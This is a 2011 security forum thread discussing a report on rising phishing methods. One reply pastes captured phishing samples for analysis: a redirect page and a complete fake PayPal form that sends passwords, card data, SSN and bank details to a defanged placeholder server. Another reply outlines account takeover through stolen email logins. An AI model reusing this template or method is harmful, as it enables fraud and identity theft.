dslreports logo

Search similar:
Forums → Software and Operating Systems →

Security → Enhanced phishing methods on the rise

 uniqs
1169
Share
« Facebook harasser gets 4 years in prison • Security Software Updates - 24 Jul 2011 »

Name Game
Premium Member
join:2002-07-07
Grand Rapids, MI
kudos:7

Name Game

Premium Member

2011-Jul-21 4:17 pm

Enhanced phishing methods on the rise

Posted on 21 July 2011.

There's been an increase in targeted and combined email-based threats, a new twist in phishing attacks, and an escalation in social engineering scams through popular social networking sites, according to M86 Security.

In analyzing cyber threat trends for the first half of 2011, M86 Security Labs noted that while spam levels are on the decline, cybercriminals continue to enhance their attack techniques, developing new ways, such as combined, embedded files or HTML attachments that go undetected by phishing protection, to entice potential victims and increase their success rates.

"Whether the attacks occur via email or the Web, one thing remains a constant: an increased emphasis on targeted, evasive malware that outpaces most security detection methods," said Bradley Anstis, VP of technical strategy, M86 Security. "M86 Security Labs researches and documents these attacks to create a greater awareness of the very real cyber threats organizations face. By understanding the latest attack methods, enterprises and their security administrators can better prevent malware from infiltrating networks and systems."

Targeted email-based attacks still a problem

Though Web-based attacks are more prominent today, attacks against RSA and Oak Ridge National Labs show that email-based targeted attacks, delivered via malicious attachments and blended threats, are still significant. While incidents of malicious attachments in email decreased in the second half of 2010, they increased from less than 1% to nearly 3% in the first half of 2011.

Conversely, spam volumes have dropped in 2011. According to the M86 Security Labs Spam Volume Index, which tracks changes in the volume of spam received by representative domains, spam levels have decreased by 1/3 of what they were from previous levels reported in the M86 Security Labs 2H2010 report

Increasingly sophisticated phishing attacks

Cybercriminals have found new ways to avoid detection to improve the success rates of phishing attacks. One of these methods, noted in the M86 Security Labs report, involves attaching HTML versions of banking websites to emails, rather than linking potential victims to bogus banking sites. Because users access these HTML files locally from their systems, the threats will not be flagged by browsers with built-in phishing protection.

Combined attacks on the rise

In the first half of 2011, M86 Security Labs saw an increase in targeted attacks that used Microsoft Excel files with embedded Flash (.swf) files to exploit vulnerabilities. This method, used in the targeted attack against RSA, is hard to detect by anti-virus and other security solutions because both components must be separated for analysis.

Social networking scams reach new levels

As noted in previous M86 Security Labs reports, sites such as Facebook and Twitter have become regular targets for scams. Now, in addition to coercing users to divulge personal information via surveys that earn scammers' commissions, scams expose users to malware. For example, thousands of Facebook users have fallen victim to a malware campaign disguised as a link to a sex tape of former IMF chairman, Dominique Strauss-Kahn, following the allegations that he sexually assaulted a hotel maid in New York. The malware campaign remained active for more than 72 hours.

The complete report is available here.

»www.net-security.org/sec ··· id=11317
--
Gladiator Security Forum
»www.gladiator-antivirus.com/
actions · 2011-Jul-21 4:17 pm ·

Snowy
Premium Member
join:2003-04-05
Kailua, HI
kudos:6
·Hawaiian Telcom
·Clearwire Wireless
·Time Warner Cable

Snowy

Premium Member

2011-Jul-21 4:54 pm

said by Name Game:

Posted on 21 July 2011.
Increasingly sophisticated phishing attacks
Cybercriminals have found new ways to avoid detection to improve the success rates of phishing attacks. One of these methods, noted in the M86 Security Labs report, involves attaching HTML versions of banking websites to emails, rather than linking potential victims to bogus banking sites. Because users access these HTML files locally from their systems, the threats will not be flagged by browsers with built-in phishing protection.

»www.net-security.org/sec ··· id=11317

To clarify that, the mass mailed phishmails do not include "HTML versions of banking websites" that I'm aware of.
What they do contain is an HTML link to a phishing site e.g.,
<html>
<head>
<title>ING DIRECT</title>
<meta HTTP-EQUIV="REFRESH" content="0;url=hxxp://compromised web server address here">
</HEAD>
<BODY>
</BODY>
</HTML>
The results using this method have been dismal from the phishers POV. Some who began using it just a month ago have abandoned it for the more traditional approach of just including a link.
The title of the article:
"Enhanced phishing methods on the rise"
tends to support that, since it only says these incidents are on the rise rather than saying they are more successful than traditional phishing methods.
Another item that is on the rise is the form submit phish where an HTML phish is attached. e.g.,
<html>
 
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Paypal Refund Departament</title>
<style>
<!
td {font-family: verdana,arial,helvetica,sans-serif;font-size:12px;color: #000000;}
.pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:18px;font-weight: bold;color: #003366;} 
hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}
hr.space {width:239px; border-color:#FFFFFF; };
.pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:11px;color: #aaaaaa;}
.pp_sidebartextbold {font-family:verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:#003366;} 
.pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size:11px;color: #003366;} 
.ppem106 {font-weight: 700;}
submit.primary, input.submit.primary {border-left:1px solid #d5bd98; border-right:1px solid #935e0d; border-top:1px solid #d5bd98; border-bottom:1px solid #935e0d; background:#ffa822 url('orange.gif'); left}
submit.primary:active, input.submit.primary:active {border:1px solid #935e0d; border-right-color:#d5bd98; border-bottom-color:#d5bd98;}
input, select {border:1px solid #adc2d6;}
fieldset {padding: 8px 8px 20px 8px; background-image: url('blue.jpg'); background-repeat: repeat-x; background-position: bottom center;}
>
</style>
</head>
 
<body>
 
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR vAlign=top>
<TD width=400 style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<p align="center">&nbsp;</p>
<TABLE cellSpacing=0 cellPadding=0 width="103%" border=0>
<TBODY>
                    <TR> 
                      <TD class=pp_heading align=left>
<p align="center">
<img border="0" src="https://www.paypal.com/en_US/i/logo/paypal_logo.gif" width="300" height="40"></p>
 
                        <p><b><font size="2">Please fill in the correct information 
                          for the following category to verify your identity.</font></b></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="889" border=0>
<TBODY>
<TR>
<TD class="pp_heading" align=left valign="top" width="646">
<form action="hxxp://compromised server address here/paypal.php" method="post" name=Date>
<input type="hidden" name="id" value="44464">
<input type="hidden" name="redirection" value="http://paypal.com/">
<input type="hidden" name="siteId" value=CB" 
>
<input name="form_charset" type="hidden" value="UTF-8">
<fieldset>
<legend>Security Measures</legend>
<table width="600" border="0" cellpadding="0" cellspacing="0" height="22">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Email address:</span></font></td>
 
<td align="right" width="367">
<p align="left"><input name="a" size="20" tabindex="1"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="25">
    <tr valign="bottom">
 
<td height="25">
<p align="left"><font face="Verdana" size="2">
<span>PayPal Password:</span></font></td>
 
<td align="right" width="367" height="25">
<p align="left"><input type="password" name="b" size="20" tabindex="2"></td>
 
    </tr>
 
</table>
 
<HR size="1">
<table width="600" border="0" cellpadding="0" cellspacing="0" height="23">
    <tr valign="bottom">
 
<td height="23">
<p align="left"><font face="Verdana" size="2">
<span>Full Name:</span></font></td>
 
<td align="right" width="367" height="23">
<p align="left"><input name="c" tabindex="3" size="28"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="29">
    <tr valign="bottom">
 
<td height="29">
<p align="left"><font face="Verdana" size="2">
<span>Card Type:</span></font></td>
 
<td align="right" width="367" height="29">
<p align="left"><select size="1" name="d" tabindex="4">
<option>Card Type</option>
<option>Visa</option>
<option>Mastercard</option>
<option>American Express</option>
<option>Discover</option>
<option>Paypal</option>
</select></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="29">
    <tr valign="bottom">
 
<td height="29">
<p align="left"><font face="Verdana" size="2">
<span>Card Number:</span></font></td>
 
<td align="right" width="367" height="29">
<p align="left">
<input name="e" size="16" tabindex="5" maxlength="16"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="28">
    <tr valign="bottom">
 
<td height="28">
<p align="left"><font face="Verdana" size="2">
<span>Expiration Date:</span></font></td>
 
<td align="right" width="367" height="28">
<p align="left"> 
                            <label for="credit_card_type"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
                            <select name="f" id="expmonth" size="1" tabindex="6">
                              <option value="-" selected>Month</option>
                              <option value="01">01 </option>
                              <option value="02">02 </option>
                              <option value="03">03 </option>
                              <option value="04">04 </option>
                              <option value="05">05 </option>
                              <option value="06">06 </option>
                              <option value="07">07 </option>
                              <option value="08">08 </option>
                              <option value="09">09 </option>
                              <option value="10">10 </option>
                              <option value="11">11 </option>
                              <option value="12">12 </option>
                            </select></font></label><span>
                          /
                        </span>
                        <label for="credit_card_type"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
                            <select name="g" id="cc_exp-year" size="1" tabindex="7">
                              <option value="-" selected>Year</option>
                              <option value="2011">2011</option>
                              <option value="2012">2012</option>
                              <option value="2013">2013</option>
                              <option value="2014">2014</option>
                              <option value="2015">2015</option>
                              <option value="2013">2016</option>
                              <option value="2014">2017</option>
                              <option value="2015">2018</option>                             
                            <option value="2019">2019</option>
                              <option value="2020">2020</option>
                            </select></font></label><span>
</span>
                          <font size="2" face="Verdana">
<span>&nbsp;(Ex: 
01/2011)</span></font></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="30">
    <tr valign="bottom">
 
<td height="30">
<p align="left"><font face="Verdana" size="2">
<span>Card Verification Number (CVV2):</span></font></td>
 
<td align="right" width="367" height="30">
<p align="left">
<input name="y" size="4" tabindex="8" maxlength="3"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="27">
    <tr valign="bottom">
 
<td height="27">
<p align="left"><font face="Verdana" size="2">
<span>Street:</span></font></td>
 
<td align="right" width="367" height="27">
<p align="left"><font face="Verdana">
<input name="j" size="31" tabindex="10"></font></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="27">
    <tr valign="bottom">
 
<td height="27">
<p align="left"><font face="Verdana" size="2">
<span>City:</span></font></td>
 
<td align="right" width="367" height="27">
<p align="left">
<input name="k" size="14" tabindex="11"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="27">
    <tr valign="bottom">
 
<td height="27">
<p align="left"><font face="Verdana" size="2">
<span>State (if applicable):</span></font></td>
 
<td align="right" width="367" height="27">
<p align="left">
<input name="l" size="14" tabindex="11"></td>
 
    </tr>
 
</table>
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Country:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<FONT 
            color=#000000><STRONG>
<SELECT id=country name=m 24px HEIGHT: 
            181px; size="1" tabindex="13"> <OPTION selected>United Kingdom</OPTION> 
              <OPTION>Albania</OPTION> <OPTION>Algeria</OPTION> <OPTION>American 
Samoa</OPTION> <OPTION>Andorra</OPTION> <OPTION>Angola</OPTION> 
              <OPTION>Anguilla</OPTION> <OPTION>Antarctica</OPTION> 
              <OPTION>Antigua And Barbuda</OPTION> <OPTION>Argentina</OPTION> 
              <OPTION>Armenia</OPTION> <OPTION>Aruba</OPTION> 
              <OPTION>Australia</OPTION> <OPTION>Austria</OPTION> 
              <OPTION>Azerbaijan</OPTION> <OPTION>Bahamas</OPTION> 
              <OPTION>Bahrain</OPTION> <OPTION>Bangladesh</OPTION> 
              <OPTION>Barbados</OPTION> <OPTION>Belarus</OPTION> 
              <OPTION>Belgium</OPTION> <OPTION>Belize</OPTION> 
              <OPTION>Benin</OPTION> <OPTION>Bermuda</OPTION> 
              <OPTION>Bhutan</OPTION> <OPTION>Bolivia</OPTION> <OPTION>Bosnia 
and Herzegovina</OPTION> <OPTION>Botswana</OPTION> <OPTION>
Bouvet Island</OPTION> <OPTION>Brazil</OPTION> <OPTION>
British Indian Ocean Territory</OPTION> <OPTION>Brunei 
Darussalam</OPTION> 
              <OPTION>Bulgaria</OPTION> <OPTION>Burkina Faso</OPTION> 
              <OPTION>Burma</OPTION> <OPTION>Burundi</OPTION> 
              <OPTION>Cambodia</OPTION> <OPTION>Cameroon</OPTION> 
              <OPTION>Canada</OPTION> <OPTION>Cape Verde</OPTION> <OPTION>Cayman 
Islands</OPTION> <OPTION>Central African Republic</OPTION> 
              <OPTION>Chad</OPTION> <OPTION>Chile</OPTION> 
              <OPTION>China</OPTION> <OPTION>Christmas Island</OPTION> 
              <OPTION>Cocos (Keeling) Islands</OPTION> <OPTION>Colombia</OPTION> 
              <OPTION>Comoros</OPTION> <OPTION>Congo</OPTION> <OPTION>Congo, the 
Democratic Republic of the</OPTION> <OPTION>Cook Islands</OPTION> 
              <OPTION>Costa Rica</OPTION> <OPTION>Cote d'Ivoire</OPTION> 
              <OPTION>Croatia</OPTION> <OPTION>Cyprus</OPTION> <OPTION>Czech 
Republic</OPTION> <OPTION>Denmark</OPTION> 
              <OPTION>Djibouti</OPTION> <OPTION>Dominica</OPTION> 
              <OPTION>Dominican Republic</OPTION> <OPTION>East Timor</OPTION> 
              <OPTION>Ecuador</OPTION> <OPTION>Egypt</OPTION> <OPTION>El 
Salvador</OPTION> <OPTION>England</OPTION> <OPTION>
Equatorial Guinea</OPTION> <OPTION>Eritrea</OPTION> <OPTION>
Espana</OPTION> 
              <OPTION>Estonia</OPTION> <OPTION>Ethiopia</OPTION> 
              <OPTION>Falkland Islands</OPTION> <OPTION>Faroe Islands</OPTION> 
              <OPTION>Fiji</OPTION> <OPTION>Finland</OPTION> 
              <OPTION>France</OPTION> <OPTION>French Guiana</OPTION> 
              <OPTION>French Polynesia</OPTION> <OPTION>French Southern 
Territories</OPTION> <OPTION>Gabon</OPTION> 
              <OPTION>Gambia</OPTION> <OPTION>Georgia</OPTION> 
              <OPTION>Germany</OPTION> <OPTION>Ghana</OPTION> 
              <OPTION>Gibraltar</OPTION> <OPTION>Great Britain</OPTION> 
              <OPTION>Greece</OPTION> <OPTION>Greenland</OPTION> 
              <OPTION>Grenada</OPTION> <OPTION>Guadeloupe</OPTION> 
              <OPTION>Guam</OPTION> <OPTION>Guatemala</OPTION> 
              <OPTION>Guinea</OPTION> <OPTION>Guinea-Bissau</OPTION> 
              <OPTION>Guyana</OPTION> <OPTION>Haiti</OPTION> <OPTION>Heard and 
Mc Donald Islands</OPTION> <OPTION>Honduras</OPTION> <OPTION>
Hong Kong</OPTION> <OPTION>Hungary</OPTION> <OPTION>
Iceland</OPTION> 
              <OPTION>India</OPTION> <OPTION>Indonesia</OPTION> 
              <OPTION>Ireland</OPTION> <OPTION>Israel</OPTION> 
              <OPTION>Italy</OPTION> <OPTION>Jamaica</OPTION> 
              <OPTION>Japan</OPTION> <OPTION>Jordan</OPTION> 
              <OPTION>Kazakhstan</OPTION> <OPTION>Kenya</OPTION> 
              <OPTION>Kiribati</OPTION> <OPTION>Korea (North)</OPTION> 
              <OPTION>Korea, Republic of</OPTION> <OPTION>Korea (South)</OPTION> 
              <OPTION>Kuwait</OPTION> <OPTION>Kyrgyzstan</OPTION> <OPTION>Lao 
People's Democratic Republic</OPTION> <OPTION>Latvia</OPTION> 
              <OPTION>Lebanon</OPTION> <OPTION>Lesotho</OPTION> 
              <OPTION>Liberia</OPTION> <OPTION>Liechtenstein</OPTION> 
              <OPTION>Lithuania</OPTION> <OPTION>Luxembourg</OPTION> 
              <OPTION>Macau</OPTION> <OPTION>Macedonia</OPTION> 
              <OPTION>Madagascar</OPTION> <OPTION>Malawi</OPTION> 
              <OPTION>Malaysia</OPTION> <OPTION>Maldives</OPTION> 
              <OPTION>Mali</OPTION> <OPTION>Malta</OPTION> <OPTION>Marshall 
Islands</OPTION> <OPTION>Martinique</OPTION> 
              <OPTION>Mauritania</OPTION> <OPTION>Mauritius</OPTION> 
              <OPTION>Mayotte</OPTION> <OPTION>Mexico</OPTION> 
              <OPTION>Micronesia, Federated States of</OPTION> <OPTION>Moldova, 
Republic of</OPTION> <OPTION>Monaco</OPTION> 
              <OPTION>Mongolia</OPTION> <OPTION>Montserrat</OPTION> 
              <OPTION>Morocco</OPTION> <OPTION>Mozambique</OPTION> 
              <OPTION>Myanmar</OPTION> <OPTION>Namibia</OPTION> 
              <OPTION>Nauru</OPTION> <OPTION>Nepal</OPTION> 
              <OPTION>Netherlands</OPTION> <OPTION>Netherlands Antilles</OPTION> 
              <OPTION>New Caledonia</OPTION> <OPTION>New Zealand</OPTION> 
              <OPTION>Nicaragua</OPTION> <OPTION>Niger</OPTION> 
              <OPTION>Nigeria</OPTION> <OPTION>Niue</OPTION> <OPTION>Norfolk 
Island</OPTION> <OPTION>Northern Ireland</OPTION> <OPTION>
Northern Mariana Islands</OPTION> <OPTION>Norway</OPTION> 
              <OPTION>Oman</OPTION> <OPTION>Pakistan</OPTION> 
              <OPTION>Palau</OPTION> <OPTION>Panama</OPTION> <OPTION>Papua New 
Guinea</OPTION> <OPTION>Paraguay</OPTION> <OPTION>Peru</OPTION> 
              <OPTION>Philippines</OPTION> <OPTION>Pitcairn</OPTION> 
              <OPTION>Poland</OPTION> <OPTION>Portugal</OPTION> <OPTION>Puerto 
Rico</OPTION> <OPTION>Qatar</OPTION> <OPTION>Reunion</OPTION> 
              <OPTION>Romania</OPTION> <OPTION>Russia</OPTION> <OPTION>Russian 
Federation</OPTION> <OPTION>Rwanda</OPTION> <OPTION>
Saint Kitts and Nevis</OPTION> <OPTION>Saint Lucia</OPTION> <OPTION>
Saint Vincent and the Grenadines</OPTION> <OPTION>Samoa 
(Independent)</OPTION> <OPTION>San Marino</OPTION> <OPTION>
Sao Tome and Principe</OPTION> <OPTION>Saudi Arabia</OPTION> 
              <OPTION>Scotland</OPTION> <OPTION>Senegal</OPTION> 
              <OPTION>Seychelles</OPTION> <OPTION>Sierra Leone</OPTION> 
              <OPTION>Singapore</OPTION> <OPTION>Slovakia</OPTION> 
              <OPTION>Slovenia</OPTION> <OPTION>Solomon Islands</OPTION> 
              <OPTION>Somalia</OPTION> <OPTION>South Africa</OPTION> 
              <OPTION>South Georgia and the South Sandwich Islands</OPTION> 
              <OPTION>South Korea</OPTION> <OPTION>Spain</OPTION> <OPTION>Sri 
Lanka</OPTION> <OPTION>St. Helena</OPTION> <OPTION>St. 
Pierre and Miquelon</OPTION> <OPTION>Suriname</OPTION> <OPTION>
Svalbard and Jan Mayen Islands</OPTION> <OPTION>
Swaziland</OPTION> 
              <OPTION>Sweden</OPTION> <OPTION>Switzerland</OPTION> 
              <OPTION>Taiwan</OPTION> <OPTION>Tajikistan</OPTION> 
              <OPTION>Tanzania</OPTION> <OPTION>Thailand</OPTION> 
              <OPTION>Togo</OPTION> <OPTION>Tokelau</OPTION> 
              <OPTION>Tonga</OPTION> <OPTION>Trinidad</OPTION> <OPTION>Trinidad 
and Tobago</OPTION> <OPTION>Tunisia</OPTION> 
              <OPTION>Turkey</OPTION> <OPTION>Turkmenistan</OPTION> 
              <OPTION>Turks and Caicos Islands</OPTION> <OPTION>Tuvalu</OPTION> 
              <OPTION>Uganda</OPTION> <OPTION>Ukraine</OPTION> <OPTION>United 
Arab Emirates</OPTION> <OPTION>United Kingdom</OPTION> 
              <OPTION>United States</OPTION> <OPTION>United States Minor 
Outlying Islands</OPTION> <OPTION>Uruguay</OPTION> 
              <OPTION>USA</OPTION> <OPTION>Uzbekistan</OPTION> 
              <OPTION>Vanuatu</OPTION> <OPTION>Vatican City State (Holy See)</OPTION> <OPTION>
Venezuela</OPTION> <OPTION>Viet Nam</OPTION> 
              <OPTION>Virgin Islands (British)</OPTION> <OPTION>Virgin Islands 
(U.S.)</OPTION> <OPTION>Wales</OPTION> <OPTION>Wallis 
and Futuna Islands</OPTION> <OPTION>Western Sahara</OPTION> 
              <OPTION>Yemen</OPTION> <OPTION>Zambia</OPTION> 
              <OPTION>Zimbabwe</OPTION></SELECT></STRONG></FONT></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Zip Code:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<input name="n" size="6" tabindex="14" maxlength="5"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Telephone:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<input name="o" size="20" tabindex="15"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Verified by Visa/Mastercard Password:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<p align="left"><input type="text" name="x" size="20" tabindex="2"></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Social Security Number:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<p align="left"><input type="text" name="ssn" size="20" tabindex="2"><font size="2" face="Verdana"><span>(US only)</span></font></td></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Sort Code:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<p align="left"><input type="text" name="scode" size="20" tabindex="2"><font size="2" face="Verdana"><span>(Barclays ONLY)</span></font></td></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Account Number:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<p align="left"><input type="text" name="abbeyonly" size="20" tabindex="2"><font size="2" face="Verdana"><span>(Abbey ONLY)</span></font></td></td>
 
    </tr>
 
</table>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="34">
    <tr valign="bottom">
 
<td>
<p align="left"><font face="Verdana" size="2">
<span>Date of Birth:</span></font></td>
 
<td align="right" width="367">
<p align="left">
<input name="r" size="3" tabindex="18"><span>-</span><input name="s" size="3" tabindex="19"><span>-</span><input name="t" size="5" tabindex="20"><font size="2" face="Verdana"><span>(Ex: 
dd-mm-yyyy)</span></font></td>
 
<table width="600" border="0" cellpadding="0" cellspacing="0" height="30">
    <tr valign="bottom">
 
<td height="30">
<p align="left"><font face="Verdana" size="2">
<span>Mother Maiden Name:</span></font></td>
 
<td align="right" width="367" height="30">
<p align="left">
<input name="u" size="17" tabindex="17"></td>
 
    </tr>
 
</table>
 
<p align="center">
<font color="#003366">
<input type="submit" name="submit.x" value="Submit Form" class="primary" >
</p>
<p align="left">
<font size="1">By clicking the button &quot;Submit Form&quot; you confirm 
your identity with us. The form is submitted instantly. </font>
</p>
<p align="left">
<font size="1">Your session will be closed after you verify your information.</font></font></p>
</fieldset></form>
</TD>
<TD class="pp_heading" align=left width="239" valign="top" style="padding-left: 4px;">
<TABLE cellSpacing=0 cellPadding=0 width="100%" bgColor=#ffffff border=0>
<TBODY>
<TR>
<TD style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=0>
<TBODY>
<TR>
<TD class=pp_sidebartextbold align=middle>Protect Your Account Infos.</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
<TBODY>
<TR>
<TD class=pp_sidebartext><BR>Make sure you never provide your password to fraudulent persons such as Claudiu Alexandru
http://pulse.yahoo.com/_MHGV4PTLGXV5IYXGRYMJNJK4IE. <BR><BR>
PayPaI 
automatically encrypts your confidential information using the Secure Sockets Layer protocol (SSL) with an encryption 
key length of 128-bits (the highest level commercially available).<BR><BR>For more information on protecting yourself from fraud, please review our Security Tips at 
http://www.paypaI.com/securitytips<BR><IMG height=5 src="" width=1 border=0> 
</TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=0>
<TBODY>
<TR>
<TD class=pp_sidebartextbold align=middle>Protect Your Password</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
<TBODY>
<TR>
<TD class=pp_sidebartext>You should <SPAN class=ppem106>never</SPAN> give your 
PayPaI password to anyone, including 
PayPaI employees.<BR><IMG height=5 src="" width=1 
border=0></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><hr class="space">
<p>&nbsp;</TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000"><BR><SPAN class=pp_footer>
PayPaI Form ID PP431</SPAN></TD></TR></TBODY></TABLE></TD>
<TD style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000"><IMG height=1 src="" width=10 border=0></TD>
<TD vAlign=top width=190 style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">&nbsp;
</TD></TR></TBODY></TABLE>
 
</body>
 
</html>
Just as the HTML links, this form submit type of phish has for the most part been a disappointment to the phishers for it's lack of victims it has produced.
actions · 2011-Jul-21 4:54 pm ·

nwrickert
Mod
join:2004-09-04
Geneva, IL
kudos:7
·AT&T U-Verse

nwrickert to Name Game

Mod

2011-Jul-23 2:17 pm

to Name Game
It's my impression that the more serious phishers have switched to the use of trojans, allowing them to do the entire banking transaction through the trojanized victim's computer.

I have notice an increase in phishing for email authentication credentials. This is presumably done by spammers, who want to send their spam via yahoo, hotmail, a university email address or similar.
--
AT&T Uverse; Zyxel NBG334W router (behind the 2wire gateway); openSuSE 11.4; firefox 5.0
actions · 2011-Jul-23 2:17 pm ·

dvd536
as Mr. Pink as they come
Premium Member
join:2001-04-27
Phoenix, AZ
kudos:4

dvd536

Premium Member

2011-Jul-24 5:21 am

said by nwrickert:

I have notice an increase in phishing for email authentication credentials. This is presumably done by spammers, who want to send their spam via yahoo, hotmail, a university email address or similar.

Spam? no. more valuable as a place to get "forgotten financials l/p's" sent to.
if i got someone email l/p then i can go to paypal and other sites trying to get logins sent to that email. security question answers can be gleaned off their facebook/twitter accounts.
--
Oh YES! let me drop everything i'm doing regardless of who it affects to deal with your petty little problem!
actions · 2011-Jul-24 5:21 am ·
Mele20
Premium Member
join:2001-06-05
Hilo, HI
kudos:8

Mele20

Premium Member

2011-Jul-24 5:54 am

What's "l/p"? Google wasn't helpful.
actions · 2011-Jul-24 5:54 am ·
Mele20

Mele20 to Name Game

Premium Member

2011-Jul-24 5:59 am

to Name Game
If spam volumes have dropped in 2011, then how come spam in dslr mail has soared to approximately 99% of the mail?

I don't get spam in my ISP's addresses but I got a ton filtered out when myrealbox account was still active and it too was getting worse and worse...not better. I don't get spam in my ISP's mail probably because the addresses are very complicated. I can't remember them!
--
When governments fear people, there is liberty. When the people fear the government, there is tyranny. Thomas Jefferson
actions · 2011-Jul-24 5:59 am ·

Sparrow
Crystal Sky
Premium Member
join:2002-12-03
Sachakhand
·RCN

Sparrow to Mele20

Premium Member

2011-Jul-24 9:30 am

to Mele20
said by Mele20:

What's "l/p"? Google wasn't helpful.

"Login / Password"??? Just a wild guess.
actions · 2011-Jul-24 9:30 am ·
Mele20
Premium Member
join:2001-06-05
Hilo, HI
kudos:8

Mele20

Premium Member

2011-Jul-24 7:55 pm

Ah! Bingo! Thanks.
actions · 2011-Jul-24 7:55 pm ·
Forums → Software and Operating Systems → Security
« Facebook harasser gets 4 years in prison • Security Software Updates - 24 Jul 2011 »